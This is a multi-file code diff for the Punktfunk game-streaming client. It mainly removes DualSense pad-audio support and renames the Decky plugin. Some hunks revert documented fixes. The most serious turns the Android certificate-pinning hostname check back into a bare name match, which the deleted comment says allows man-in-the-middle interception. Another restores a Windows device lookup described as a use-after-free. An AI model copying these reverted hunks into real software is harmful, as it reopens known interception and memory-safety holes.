     * older firmware ignores the unknown flag2 bit) — the host parser accepts either.
     */
-    /**
-     * B6: hand the voice coils back to the audio-haptics path.
-     *
-     * Every [ds5RumbleReport] asserts `HAPTICS_SELECT` (flag0 bit1), which is SDL's
-     * "disable audio haptics" bit — the firmware mutes the coils the 0xD1 haptics stream drives.
-     * Until now NOTHING ever cleared it again, so a single rumble anywhere in a session left tier-A
-     * haptics silent for the rest of that pad's life, with no error and nothing in a log.
-     *
-     * The undo is a report whose flag0 has BOTH bits clear (SDL's own comment: "Leaving emulated
-     * rumble bits off will restore audio haptics"). No other valid flag is set, so nothing else
-     * about the pad's state is touched. Mirrors `Ds5Feedback::audio_haptics_packet` on the desktop
-     * client, which is the same packet one transport over.
-     */
-    fun ds5AudioHapticsReport(model: Model): ByteArray = newDs5(model)
-
    fun ds5RumbleReport(model: Model, low: Int, high: Int): ByteArray = newDs5(model).also {
        it[1] = (DS5_FLAG0_COMPAT_VIBRATION or DS5_FLAG0_HAPTICS_SELECT).toByte()
        it[39] = DS5_FLAG2_VIBRATION2.toByte()
@@ -98,40 +98,6 @@ class HidUsbLink(
    /** First attached matching device, or null. Does not need USB permission to enumerate. */
    fun findDevice(): UsbDevice? = usb.deviceList.values.firstOrNull(config.deviceMatch)

-    /**
-     * Open a SECOND connection to the same device, for a consumer that needs its own descriptor.
-     *
-     * **Not a convenience — a correctness requirement.** `UsbDeviceConnection.requestWait()`
-     * returns *any* completed request on that connection, and the same is true of the usbfs reap
-     * ioctl underneath it: two independent transfer engines sharing one descriptor steal each
-     * other's completions. This link's reader owns its connection exclusively (see the note on
-     * [outQueue]), so anything else driving transfers on this device — the isochronous audio
-     * renderer — must open its own.
-     *
-     * usbfs allows the same device to be opened many times, and claims are per (descriptor,
-     * interface), so a claim made on this connection does not conflict with one made on that.
-     *
-     * The caller owns the returned connection and must close it.
-     */
-    fun openAuxConnection(): UsbDeviceConnection? {
-        val dev = device ?: return null
-        return usb.openDevice(dev)
-    }
-
-    /**
-     * The open connection's usbfs file descriptor, or -1 when the link is not running.
-     *
-     * Handed to native code that drives interfaces this link deliberately does NOT claim — the
-     * pad's isochronous audio endpoint (see `pad_audio` on the native side), which Android's own
-     * USB API cannot reach because `UsbRequest` rejects anything that is not bulk or interrupt.
-     * usbfs claims are per interface, so a native claim of the audio interface leaves this link's
-     * HID claim untouched.
-     *
-     * **The borrower must stop using it before [stop] runs**: closing the connection while a
-     * transfer is in flight pulls the descriptor out from under the kernel.
-     */
-    val fileDescriptor: Int get() = connection?.fileDescriptor ?: -1
-
    /**
     * Claim [dev]'s controller interface(s) and start the read loop. The caller has already
     * obtained USB permission. Returns false when nothing could be claimed.
@@ -69,10 +69,6 @@ object NativeBridge {
         *  list and trust store show for it, same convention as [nativePair]'s `name`. `null`/blank ⇒
         *  the host falls back to a fingerprint-derived "device abcd1234" label. */
        deviceName: String?,
-        /** Advertise `CLIENT_CAP_PAD_AUDIO` — the SESSION-level negotiation for the 0xD1 per-pad
-         *  DualSense plane. Without it the host never sets `HOST_CAP_PAD_AUDIO` and emits nothing,
-         *  so a captured pad's own render capabilities would have nothing to gate. */
-        padAudioOk: Boolean,
    ): Long

    /** 64-hex SHA-256 of the cert the host presented on [handle]; valid after a successful connect. */
@@ -336,46 +332,6 @@ object NativeBridge {
     */
    external fun nativeSetMicMuted(handle: Long, muted: Boolean)

-    /**
-     * Start tier-A DualSense pad audio: render the host's `0xD1` streams on the pad's own
-     * 4-channel USB audio device.
-     *
-     * [fd] is an open [android.hardware.usb.UsbDeviceConnection]'s file descriptor. Native code
-     * **borrows** it — it claims the pad's audio interface through usbfs (which leaves any HID
-     * claim on the same device alone) and never closes the descriptor. The caller must keep the
-     * connection open until [nativeStopPadAudio] returns.
-     *
-     * This also declares the pad's render capability to the host; without it no `0xD1` is sent.
-     *
-     * Returns false when there is nothing to render. A kernel that refuses the interface claim is
-     * NOT reported here — the renderer discovers that on its own thread and the session simply
-     * carries on without tier A, because some OEM kernels refuse and no app-side fix exists.
-     */
-    external fun nativeStartPadAudio(
-        handle: Long,
-        pad: Int,
-        fd: Int,
-        haptics: Boolean,
-        speaker: Boolean,
-    ): Boolean
-
-    /**
-     * Stop tier-A pad audio and join its render thread, and hand the pad back to wire rumble.
-     *
-     * Returns only once the thread is joined — so the `UsbDeviceConnection` may be closed as soon
-     * as this returns, and not before.
-     */
-    external fun nativeStopPadAudio(handle: Long, pad: Int)
-
-    /**
-     * Drive the pad with a test tone through the real render path — no host, no session.
-     *
-     * [fd] must come from a connection **nothing else is driving transfers on**: two engines on
-     * one usbfs descriptor reap each other's completions. Blocks for roughly [seconds]; run it off
-     * the main thread. Returns sample frames written, or negative on failure.
-     */
-    external fun nativePadAudioSelfTest(fd: Int, seconds: Int, hz: Int): Int
-
    /**
     * Is a mic capture actually RUNNING — i.e. did [nativeStartMic] open a stream, and has
     * [nativeStopMic] not been called since? Offer the in-stream mute control on THIS rather than
@@ -127,14 +127,8 @@ object LibraryClient {
 * An OkHttpClient that presents the paired client cert and pins the host's self-signed cert by
 * SHA-256(DER) — reused for BOTH the library fetch and the cover-art loads (so a paired client
 * reaches the host's own art proxy). The pinning trust manager trusts the host by fingerprint and
- * defers to normal public trust for any other origin (an external CDN URL).
- *
- * The two checks are only sound TOGETHER, and the composition is the point: the trust manager
- * cannot fail closed on its own (it has no hostname, so it must let a CDN chain through), so the
- * hostname verifier is what makes the pinned host pin-only. Loosen either and a publicly-trusted
- * certificate for any name is accepted for the host — which is exactly what 2026-08-05 review M-2
- * found. The host's own cert is self-signed with no matching SAN, so it can never satisfy the
- * default verifier; the pin is its only credential, on purpose.
+ * defers to normal public trust for any other origin (an external CDN URL); the hostname verifier
+ * accepts the pinned host (whose self-signed cert has no matching SAN) and defers otherwise.
 */
 fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String): OkHttpClient {
    val clientCert = CertificateFactory.getInstance("X.509")
@@ -168,26 +162,7 @@ fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String)

    val defaultVerifier = HttpsURLConnection.getDefaultHostnameVerifier()
    val verifier = HostnameVerifier { hostname, session ->
-        if (hostname == host) {
-            // The PINNED host fails closed: only the pinned leaf is acceptable for this name.
-            //
-            // This used to be a bare `hostname == host`, which composed with the trust manager's
-            // system-CA fall-through into "any publicly-trusted certificate, for any name, is
-            // accepted for the pinned host" — the pin was decorative (2026-08-05 review M-2). A
-            // MITM with any free CA-issued cert intercepted the connection, received the client's
-            // mTLS IDENTITY certificate, and served attacker-chosen library JSON and art URLs.
-            // The Rust (`pf-client-core`) and Apple (`ClientTLS`) paths already fail closed here;
-            // only Android did not.
-            try {
-                sha256Hex((session.peerCertificates.firstOrNull() as? X509Certificate)?.encoded ?: return@HostnameVerifier false) == pinned
-            } catch (_: Exception) {
-                false
-            }
-        } else {
-            // Any other origin (an external CDN art URL) is ordinary public trust: the system
-            // trust manager validated the chain, and this checks the name against it.
-            defaultVerifier.verify(hostname, session)
-        }
+        hostname == host || defaultVerifier.verify(hostname, session)
    }

    return OkHttpClient.Builder()
@@ -64,14 +64,6 @@ libc = "0.2"
 # host + Linux client use. audiopus_sys vendors libopus (pure C) and builds it static via cmake —
 # the cargo-ndk build sets LIBOPUS_STATIC=1/LIBOPUS_NO_PKG=1 so it links the bundled lib, not the host's.
 opus = "0.3"
-# Tier-A pad audio (WP9). Android's audio framework denylists the DualSense's output by VID/PID,
-# so the pad's isochronous endpoint is driven directly on the fd `UsbDeviceConnection` hands over.
-# Our own crates, developed openly because the hole they fill — isochronous USB in Rust — is an
-# ecosystem-wide one: https://github.com/unom-io/usbfs-iso
-# Pinned by revision rather than floating: this is a transport under a real-time deadline and it
-# should move when we choose to. Becomes a plain version dependency once the crates are published.
-uac-host = { git = "https://github.com/unom-io/usbfs-iso", rev = "f3de1fd62cec271d07f45664dc464f23e423e721" }
-usbfs-iso = { git = "https://github.com/unom-io/usbfs-iso", rev = "f3de1fd62cec271d07f45664dc464f23e423e721" }

 [lints]
 workspace = true
@@ -77,14 +77,6 @@ pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeNextRumble(
        // handle.
        let h = unsafe { &*(handle as *const SessionHandle) };
        match h.client.next_rumble_command(PULL_TIMEOUT) {
-            // A pad whose coils are ACTIVELY being driven by the 0xD1 haptics stream must not see
-            // wire rumble: `DsDevice` sets `valid_flag0` bit 1 (`HAPTICS_SELECT`) on every rumble
-            // write, and that bit disables the audio-haptics path — so one replayed command would
-            // mute the coils the stream is driving. Gating on *arrival of haptics frames* rather
-            // than on "a stream is open" is what keeps a rumble-only title working: it renders no
-            // haptics audio, so the host emits nothing on 0xD1 and the pad keeps its rumble.
-            // Dropping it here rather than in Kotlin keeps the rule next to the reason.
-            Ok(cmd) if crate::pad_audio::haptics_owns_coils((cmd.pad & 0xF) as u8) => -1,
            Ok(cmd) => pack_rumble(cmd.pad, cmd.low, cmd.high, cmd.backstop_ms),
            Err(_) => -1, // NoFrame (timeout) or Closed — Kotlin loops on its running flag
        }
@@ -182,11 +174,6 @@ pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeNextHidout(
                out[3..n].copy_from_slice(&data);
                n
            }
-            HidOutput::AudioCtl { .. } => {
-                // DS5 pad-audio routing/volumes — no Android replay path yet (the 0xD1 sample
-                // plane isn't rendered here either); drop it like TrackpadHaptic.
-                return -1;
-            }
        };
        n as jint
    })
@@ -37,8 +37,6 @@ mod discovery;
 mod feedback;
 #[cfg(target_os = "android")]
 mod mic;
-/// Tier-A DualSense pad audio: the 0xD1 plane rendered on the pad's own USB endpoint.
-mod pad_audio;
 mod session;
 mod stats;
 // Ungated like `discovery`: pure `jni` + `punktfunk_core::wol` (no Android framework), so it links
@@ -145,7 +145,6 @@ pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeConnect<'lo
    timeout_ms: jint,
    launch: JString<'local>,
    device_name: JString<'local>,
-    pad_audio_ok: jboolean,
 ) -> jlong {
    let host: String = match env.get_string(&host) {
        Ok(s) => s.into(),
@@ -269,16 +268,7 @@ pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeConnect<'lo
        // CLIENT_CAP_PHASE_LOCK is honest: the async decode loop's presenter feeds
        // report_phase (advisory in v1 — the host arms on report receipt — but the Hello
        // should say what the client does).
-        // CLIENT_CAP_PAD_AUDIO is the SESSION-level negotiation, separate from the per-pad
-        // arrival bits: without it the host never sets HOST_CAP_PAD_AUDIO and never emits 0xD1,
-        // so declaring a pad's render caps later would have nothing to gate. Gated on the
-        // settings so a user with pad audio off does not make the host provision endpoints.
-        punktfunk_core::quic::CLIENT_CAP_PHASE_LOCK
-            | if pad_audio_ok != 0 {
-                punktfunk_core::quic::CLIENT_CAP_PAD_AUDIO
-            } else {
-                0
-            },
+        punktfunk_core::quic::CLIENT_CAP_PHASE_LOCK,
        // Slice-progressive delivery, by decoder truth (Kotlin probes FEATURE_PartialFrame on
        // every decoder this device would use; `debug.punktfunk.force_parts` overrides for the
        // on-glass experiment): AU prefixes then arrive as `Frame::part` pieces and the decode
@@ -301,8 +291,6 @@ pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeConnect<'lo
                audio: Mutex::new(None),
                #[cfg(target_os = "android")]
                mic: Mutex::new(None),
-                #[cfg(target_os = "android")]
-                pad_audio: Mutex::new(None),
                // A fresh session is never muted (mute is per-session UI state, not a setting).
                mic_muted: Arc::new(std::sync::atomic::AtomicBool::new(false)),
            };
@@ -61,11 +61,6 @@ pub(crate) struct SessionHandle {
    audio: Mutex<Option<crate::audio::AudioPlayback>>,
    #[cfg(target_os = "android")]
    mic: Mutex<Option<crate::mic::MicCapture>>,
-    /// Tier-A DualSense pad audio (the 0xD1 plane), started by `nativeStartPadAudio` once Kotlin
-    /// has claimed the pad's audio interface and handed its descriptor over. Session-lifetime and
-    /// `Option` because a session may have no wired DualSense at all, which is the common case.
-    #[cfg(target_os = "android")]
-    pub(crate) pad_audio: Mutex<Option<crate::pad_audio::PadAudio>>,
    /// In-stream mic mute, set via `nativeSetMicMuted` and read per 10 ms frame by the mic's
    /// encode loop ([`crate::mic`]). Session-lifetime rather than per-[`crate::mic::MicCapture`]
    /// for the same reason the stats gate is: the mic stops and restarts across a surface
@@ -104,14 +99,6 @@ impl SessionHandle {
    fn stop_mic(&self) {
        let _ = self.mic.lock().unwrap().take();
    }
-
-    /// Stop pad audio. Dropping the [`crate::pad_audio::PadAudio`] joins its render thread, which
-    /// is what guarantees nothing is still writing to the descriptor when Kotlin closes the
-    /// `UsbDeviceConnection`. Idempotent.
-    #[cfg(target_os = "android")]
-    pub(crate) fn stop_pad_audio(&self) {
-        let _ = self.pad_audio.lock().unwrap().take();
-    }
 }

 impl Drop for SessionHandle {
@@ -121,8 +108,6 @@ impl Drop for SessionHandle {
        self.stop_audio();
        #[cfg(target_os = "android")]
        self.stop_mic();
-        #[cfg(target_os = "android")]
-        self.stop_pad_audio();
    }
 }

@@ -460,111 +460,6 @@ pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeStopMic(
    })
 }

-/// `NativeBridge.nativeStartPadAudio(handle, pad, fd, haptics, speaker): Boolean` — start tier-A
-/// DualSense pad audio on a descriptor Kotlin has already obtained.
-///
-/// `fd` comes from `UsbDeviceConnection.getFileDescriptor()` **after** claiming the pad's audio
-/// streaming interface. Kotlin owns that connection and **must keep it open until
-/// `nativeStopPadAudio` returns**: the renderer borrows the descriptor and never closes it, so
-/// closing early would pull it out from under an in-flight isochronous transfer.
-///
-/// Returns `false` when there is nothing to render (both kinds disabled) or the thread would not
-/// start. A kernel that refuses the interface claim is NOT reported here — the renderer discovers
-/// that on its own thread and degrades to tier C, because some OEM kernels refuse and there is no
-/// app-side fix worth blocking a session on.
-#[no_mangle]
-#[cfg(target_os = "android")]
-pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeStartPadAudio(
-    _env: JNIEnv,
-    _this: JObject,
-    handle: jlong,
-    pad: jni::sys::jint,
-    fd: jni::sys::jint,
-    haptics: jboolean,
-    speaker: jboolean,
-) -> jboolean {
-    jni_guard(0, || {
-        if handle == 0 || fd < 0 || !(0..16).contains(&pad) {
-            return 0;
-        }
-        // SAFETY: live handle per the nativeConnect/nativeClose contract.
-        let h = unsafe { &*(handle as *const SessionHandle) };
-        // Replace any previous renderer first: dropping it joins the old thread, so two of them
-        // can never hold the same descriptor at once.
-        h.stop_pad_audio();
-        // The capability declaration and the rumble suppression are NOT done here: the renderer
-        // makes both only once its USB stream actually opens (see `pad_audio::render`). Doing them
-        // at spawn time would, on a kernel that refuses the interface claim, take the pad off wire
-        // rumble and give it nothing in return — no haptics of any kind.
-        match crate::pad_audio::start(
-            std::sync::Arc::clone(&h.client),
-            pad as u8,
-            fd,
-            haptics != 0,
-            speaker != 0,
-        ) {
-            Some(p) => {
-                *h.pad_audio.lock().unwrap() = Some(p);
-                1
-            }
-            None => 0,
-        }
-    })
-}
-
-/// `NativeBridge.nativePadAudioSelfTest(fd, seconds, hz): Int` — drive the pad directly with a
-/// tone through the real client render path, with no host and no session involved.
-///
-/// The check a standalone harness cannot make: it owns its descriptor by construction, so it can
-/// never reveal that the client handed the renderer a descriptor something else was already
-/// driving. Returns sample frames written, or negative on failure (see `pad_audio::SelfTest`).
-#[no_mangle]
-#[cfg(target_os = "android")]
-pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativePadAudioSelfTest(
-    _env: JNIEnv,
-    _this: JObject,
-    fd: jni::sys::jint,
-    seconds: jni::sys::jint,
-    hz: jni::sys::jint,
-) -> jni::sys::jint {
-    jni_guard(-1, || {
-        if fd < 0 {
-            return -1;
-        }
-        // SAFETY: Kotlin holds the owning UsbDeviceConnection open across this call and drives no
-        // other transfers on it (it opens a dedicated connection for exactly this).
-        unsafe { crate::pad_audio::self_test(fd, seconds, hz) }
-    })
-}
-
-/// `NativeBridge.nativeStopPadAudio(handle, pad)` — stop tier-A pad audio and join its thread.
-///
-/// Returns only once the render thread is joined, which is the point: Kotlin may close the
-/// `UsbDeviceConnection` as soon as this returns and not before.
-#[no_mangle]
-#[cfg(target_os = "android")]
-pub extern "system" fn Java_io_unom_punktfunk_kit_NativeBridge_nativeStopPadAudio(
-    _env: JNIEnv,
-    _this: JObject,
-    handle: jlong,
-    pad: jni::sys::jint,
-) {
-    jni_guard((), || {
-        if handle != 0 {
-            // SAFETY: live handle per the nativeConnect/nativeClose contract.
-            let h = unsafe { &*(handle as *const SessionHandle) };
-            h.stop_pad_audio();
-            if (0..16).contains(&pad) {
-                // Withdraw the capability and hand the pad back to wire rumble, in that order:
-                // the host stops sending 0xD1 before tier C resumes, so the two never overlap.
-                h.client.set_pad_audio_caps(pad as u8, 0);
-                crate::pad_audio::set_tier_a(pad as u8, false);
-                crate::pad_audio::clear_haptics_liveness(pad as u8);
-            }
-        }
-    })
-}
-
 /// `NativeBridge.nativeSetMicMuted(handle, muted)` — mute/unmute the mic uplink mid-stream.
 ///
 /// Muting deliberately does NOT stop the capture: the AAudio input stream, the input-preset rung
@@ -1,5 +1,5 @@
 {
-  "name": "Punktfunk",
+  "name": "punktfunk",
  "author": "enrico",
  "flags": ["debug"],
  "api_version": 1,
@@ -12,9 +12,7 @@
 set -euo pipefail
 HERE="$(cd "$(dirname "$0")/.." && pwd)"
 DECK="${DECK:?set DECK=deck@<ip>}"
-# The on-disk plugin DIR (what scripts/package.sh staged into out/), not plugin.json "name" —
-# that field is the brand-cased label Decky shows in its plugin list. See package.sh's header.
-NAME=punktfunk
+NAME="$(python3 -c 'import json;print(json.load(open("'"$HERE"'/plugin.json"))["name"])')"
 STAGE_LOCAL="$HERE/out/$NAME"
 [ -d "$STAGE_LOCAL" ] || { echo "$STAGE_LOCAL missing — run scripts/package.sh first" >&2; exit 1; }

@@ -5,13 +5,9 @@
 #                                                  package.json,decky.pyi,LICENSE,README.md}
 #   out/punktfunk/                 (the same tree, unzipped — rsync this with scripts/deploy.sh)
 #
-# The single top-level dir is the plugin's ON-DISK folder name (Decky extracts the zip as-is,
-# so the dir in the zip becomes ~/homebrew/plugins/<dir>). It is deliberately NOT read from
-# plugin.json "name": that field is the user-visible label ("Punktfunk", brand-cased, shown in
-# Decky's plugin list) and Decky locates an installed plugin by MATCHING it, never by the folder
-# name. Keeping the folder lowercase means a rename of the label can't strand the old directory
-# next to a new one (which would show up as two plugins).
-# Run after `pnpm build` (or use `pnpm run package`). Host-agnostic: needs only bash, python3 and zip.
+# Decky extracts the zip with --strip-components=1, so the single top-level dir MUST equal
+# plugin.json "name". Run after `pnpm build` (or use `pnpm run package`). Host-agnostic: needs
+# only bash, python3 and zip.
 set -euo pipefail
 HERE="$(cd "$(dirname "$0")/.." && pwd)"
 cd "$HERE"
@@ -19,7 +15,7 @@ cd "$HERE"
 [ -f dist/index.js ] || { echo "dist/index.js missing — run 'pnpm build' first" >&2; exit 1; }
 [ -f LICENSE ]       || { echo "LICENSE missing (required by the Decky store)" >&2; exit 1; }

-NAME=punktfunk   # the on-disk plugin dir (see the header) — NOT plugin.json "name"
+NAME="$(python3 -c 'import json;print(json.load(open("plugin.json"))["name"])')"
 VER="$(python3 -c 'import json;print(json.load(open("package.json"))["version"])')"

 STAGE="$(mktemp -d)"
@@ -122,25 +122,6 @@ function advertMatchesSaved(a: DiscoveredHost, s: SavedHost): boolean {
  );
 }

-/**
- * The label a saved row shows.
- *
- * A saved record whose name IS its own address is a PLACEHOLDER, not a choice: `hosts add`
- * falls back to the address when the pairing path had nothing better, so the row ends up
- * captioned with the same string it already prints underneath. When the box is on the air it
- * is advertising its actual hostname — prefer that, and the row reads "home-worker-5" instead
- * of "192.168.1.21".
- *
- * A real saved name always wins over the advert, even a stale one: it may be a name the user
- * chose, and a live advert must never quietly overwrite that. Compared against the SAVED
- * address, so a host that moved DHCP lease still recognises its old address as a placeholder.
- */
-function hostLabel(s: SavedHost, advert?: DiscoveredHost): string {
-  const placeholder = !s.name || s.name === s.addr || s.name === `${s.addr}:${s.port}`;
-  if (!placeholder) return s.name;
-  return advert?.name || s.name || s.addr;
-}
-
 /**
 * Join the saved store and the live browse into the rows the panel draws.
 *
@@ -153,7 +134,7 @@ export function mergeHosts(saved: SavedHost[], discovered: DiscoveredHost[]): Ho
    // Prefer a live advert's address: the host may have moved since it was last saved.
    const advert = discovered.find((a) => advertMatchesSaved(a, s));
    return {
-      name: hostLabel(s, advert),
+      name: s.name || s.addr,
      addr: advert?.addr ?? s.addr,
      port: advert?.port ?? s.port,
      fp: s.fp_hex,
@@ -406,10 +387,7 @@ export async function applyUpdate(
        // before any result could arrive — so never await it. Decky shows its own confirm prompt.
        void backend.callable("utilities/install_plugin")(
          info.artifact,
-          // The name Decky uninstalls before extracting the new zip — it locates the folder by
-          // matching plugin.json "name", so this must equal THIS build's plugin.json name (the
-          // brand-cased one), not the lowercase on-disk dir.
-          "Punktfunk",
+          "punktfunk",
          info.latest,
          info.hash,
          INSTALL_TYPE_UPDATE,
@@ -337,11 +337,9 @@ export default definePlugin(() => {
  // controller config. Fire-and-forget: cosmetic library upkeep must never block plugin load.
  void ensureGamepadUiShortcut();
  return {
-    // `name` must stay in sync with plugin.json (the loader keys plugins by it) — and it is
-    // USER-VISIBLE: Decky labels the entry in its plugin list with it, so it carries the brand
-    // case. Decky finds an installed plugin by matching plugin.json "name" (never the folder
-    // name), so this is independent of the on-disk dir, which stays lowercase `punktfunk`.
-    name: "Punktfunk",
+    // `name` is the plugin's INTERNAL id — it must stay in sync with plugin.json (the loader
+    // keys plugins by it), so it stays lowercase; user-facing strings say "Punktfunk".
+    name: "punktfunk",
    // `staticClasses?.Title` is guarded so a future client that drops the export can't throw
    // at plugin-load time (an error boundary only catches render-time, not load-time, errors).
    titleView: <div className={staticClasses?.Title}>Punktfunk</div>,
@@ -70,18 +70,9 @@ declare const appStore:
 *  entry from a false "missing". A confident null means the shortcut was deleted → recreate. */
 function shortcutStillExists(appId: number): boolean {
  try {
-    // Call it as a METHOD on appStore — NEVER as an extracted function. Its implementation
-    // reads the store's own state (`this.m_mapApps`), so `const get = appStore.GetAppOverview…;
-    // get(id)` throws on the lost `this`, and the catch below turns that into a permanent
-    // "true". That is not a stale-data bug but a total one: the guard then answers "still
-    // exists" for EVERY appId, so a dangling id is never dropped, the reuse path repoints a
-    // dead shortcut (silent no-ops), and "recreate" reports success having done nothing.
-    // `typeof` first: `appStore` is a Steam-injected global, and a bare reference to a missing
-    // one is a ReferenceError that optional chaining does NOT prevent.
-    if (typeof appStore === "undefined" || !appStore?.GetAppOverviewByAppID) {
-      return true; // no way to verify — preserve the reuse path
-    }
-    return appStore.GetAppOverviewByAppID(appId) != null;
+    const get = appStore?.GetAppOverviewByAppID;
+    if (!get) return true; // no way to verify — preserve the reuse path
+    return get(appId) != null;
  } catch {
    return true;
  }
@@ -773,7 +773,6 @@ fn mock_library() -> (
        title: title.to_string(),
        art: crate::library::Artwork::default(),
        platform: None,
-        role: None,
    };
    let games = vec![
        game("steam:570", "steam", "Dota 2"),
@@ -286,12 +286,6 @@ mod session_main {
        // Spawned at first params-build so it exists for --connect AND console launches.
        #[cfg(unix)]
        crate::ctl_socket::spawn(gamepad.clone());
-        // Pad-audio prefs to OUR gamepad service (same reasoning as the pin above): tier-A
-        // slots declare their render caps at open time, which happens on attach — after this.
-        gamepad.set_pad_audio_prefs(
-            settings.pad_haptics,
-            pf_client_core::pad_audio::speaker_active(&settings.pad_speaker),
-        );
        let mode = Mode {
            width: if settings.width == 0 {
                native.width
@@ -395,11 +389,6 @@ mod session_main {
            cursor_forward: settings.mouse_mode() == trust::MouseMode::Desktop,
            mic_enabled: settings.mic_enabled,
            echo_cancel: settings.echo_cancel,
-            // Pad audio (0xD1): the DualSense haptics/speaker render settings. The gamepad
-            // service learns the same prefs below so tier-A slots declare their render caps
-            // at open; the session pump gates CLIENT_CAP_PAD_AUDIO + the renderer on these.
-            pad_haptics: settings.pad_haptics,
-            pad_speaker: settings.pad_speaker.clone(),
            clipboard,
            // The Settings preference (auto → VAAPI where it exists; the presenter
            // demotes to software on boxes whose Vulkan can't import the dmabufs).
@@ -1911,35 +1911,10 @@ pub(crate) fn settings_page(
    } else {
        border(vstack(Vec::<Element>::new())).into()
    };
-    // Every save on this page is fire-and-forget by design — a failed settings write must
-    // never take a stream down — so a client whose config store rejects writes looks entirely
-    // normal: toggles move, profiles appear, and NOTHING survives a restart. That is exactly
-    // how it reached us from the field ("it's in read-only mode"), with no log file to send
-    // either. When the store is refusing writes, say so, name the path, and stop pretending.
-    //
-    // Same always-mounted-slot discipline as `sheet_slot`: one child in both states, and the
-    // SAME KIND in both (a Border wrapping the bar, versus an empty background-less Border —
-    // which per style.rs is not hit-testable, so it swallows no clicks). Neither a grid child
-    // nor a vstack child is ever added or removed, which is where this reconciler's phantom
-    // bookkeeping breaks.
-    let store_slot: Element = match pf_client_core::trust::store_health::last_error() {
-        Some(err) => border(
-            InfoBar::new("Your changes aren\u{2019}t being saved")
-                .message(format!(
-                    "Punktfunk can\u{2019}t write to its settings folder, so nothing on this \
-                     page will survive a restart. {err}"
-                ))
-                .error()
-                .is_closable(false),
-        )
-        .margin(edges(24.0, 12.0, 28.0, 0.0))
-        .into(),
-        None => border(vstack(Vec::<Element>::new())).into(),
-    };
    // The bar rides an Auto row above the nav's Star row, so the nav (and the sheet's scrim
    // over it) still fills the rest of the window.
    grid(vec![
-        Element::from(vstack(vec![store_slot, scope_bar])).grid_row(0),
+        scope_bar.grid_row(0),
        Element::from(grid(vec![nav.into(), sheet_slot, confirm])).grid_row(1),
    ])
    .rows([GridLength::Auto, GridLength::STAR])
@@ -57,10 +57,6 @@ sdl3 = { version = "0.18", features = ["hidapi"] }

 [target.'cfg(windows)'.dependencies]
 wasapi = "0.23"
-# Pad-audio correlation (pad_audio.rs): the HID devnode's ContainerID and a render endpoint's
-# stamped PKEY_Device_ContainerId both live in the registry — read-only, which sidesteps COM
-# property stores entirely (the same version the host pins).
-winreg = "0.56"
 sdl3 = { version = "0.18", features = ["hidapi", "build-from-source"] }
 # D3D11VA decode (video_d3d11.rs): device/adapter selection, DXVA probes, and the shared
 # NT-handle hand-off ring. Same pinned rev as clients/windows so the workspace builds ONE
@@ -98,43 +98,13 @@ pub fn devices() -> Result<(Vec<AudioDevice>, Vec<AudioDevice>)> {
 /// Settings device pickers via session main), or the OS default. A picked device that's
 /// gone (unplugged USB DAC, remote session) falls back to the default with a warning —
 /// audio keeps working, like the PipeWire twin's `target.object` behavior.
-/// Resolve an active endpoint by id WITHOUT `DeviceEnumerator::get_device`.
-///
-/// That helper builds its argument as `PCWSTR::from_raw(HSTRING::from(id).as_ptr())` — the
-/// `HSTRING` is a temporary, dropped at the end of that statement, so `GetDevice` reads freed
-/// memory and misses ids that are perfectly valid. Scanning the active collection touches only
-/// safe crate APIs, so it cannot regress the same way. (`punktfunk-host` fixes the same bug with
-/// raw COM instead; this crate cannot, because it pins a different `windows` revision than
-/// `wasapi` does, making the two `IMMDevice` types incompatible.)
-pub(crate) fn device_by_id(
-    enumerator: &DeviceEnumerator,
-    direction: &Direction,
-    id: &str,
-) -> Result<wasapi::Device> {
-    let devices = enumerator
-        .get_device_collection(direction)
-        .map_err(|e| anyhow!("enumerate {direction:?} endpoints: {e}"))?;
-    let count = devices
-        .get_nbr_devices()
-        .map_err(|e| anyhow!("endpoint count: {e}"))?;
-    for i in 0..count {
-        let dev = devices
-            .get_device_at_index(i)
-            .map_err(|e| anyhow!("endpoint {i}: {e}"))?;
-        if dev.get_id().is_ok_and(|got| got == id) {
-            return Ok(dev);
-        }
-    }
-    anyhow::bail!("no active {direction:?} endpoint with id {id}")
-}
-
 fn pick_device(
    enumerator: &DeviceEnumerator,
    direction: &Direction,
    var: &str,
 ) -> Result<wasapi::Device> {
    if let Some(id) = std::env::var(var).ok().filter(|v| !v.is_empty()) {
-        match device_by_id(enumerator, direction, &id) {
+        match enumerator.get_device(&id) {
            Ok(d) => {
                tracing::info!(
                    var,
@@ -369,14 +369,8 @@ enum Ctl {
    Pin(Option<String>),
    KindOverride(GamepadPref),
    Forwarding(bool),
-    SystemButtons {
-        forward_raw: bool,
-        gesture: bool,
-    },
+    SystemButtons { forward_raw: bool, gesture: bool },
    TapButton(u32),
-    /// Which pad-audio streams the session's settings want rendered (bit0 = haptics, bit1 =
-    /// speaker) — the settings half of the per-pad tier-A capability declared at slot open.
-    PadAudioPrefs(u8),
    MenuMode(bool),
    MenuRumble(MenuPulse),
 }
@@ -579,18 +573,6 @@ impl GamepadService {
        let _ = self.ctl.send(Ctl::TapButton(wire::BTN_MISC1));
    }

-    /// Declare which pad-audio streams this session's settings want rendered (`haptics` =
-    /// [`Settings::pad_haptics`](crate::trust::Settings::pad_haptics), `speaker` =
-    /// `pad_speaker == "pad"` via [`crate::pad_audio::speaker_active`]). Drives the per-pad
-    /// tier-A capability bits declared to the core at slot open — a WIRED DualSense/Edge
-    /// declares exactly these; every other pad declares 0. Call before [`Self::attach`],
-    /// like [`Self::set_kind_override`]: slots declare at open time. Defaults to "nothing"
-    /// for an embedder that never calls it, keeping the wire bytes exactly as before.
-    pub fn set_pad_audio_prefs(&self, haptics: bool, speaker: bool) {
-        let bits = (haptics as u8) | ((speaker as u8) << 1);
-        let _ = self.ctl.send(Ctl::PadAudioPrefs(bits));
-    }
-
    pub fn attach(&self, connector: Arc<NativeClient>) {
        let _ = self.ctl.send(Ctl::Attach(connector));
    }
@@ -764,8 +746,6 @@ impl Ds5Feedback {
    /// The USB report offsets these are derived from — see the type doc. Kept beside the derived
    /// values so the subtraction is visible at the point of definition.
    const REPORT_ID_LEN: usize = 1;
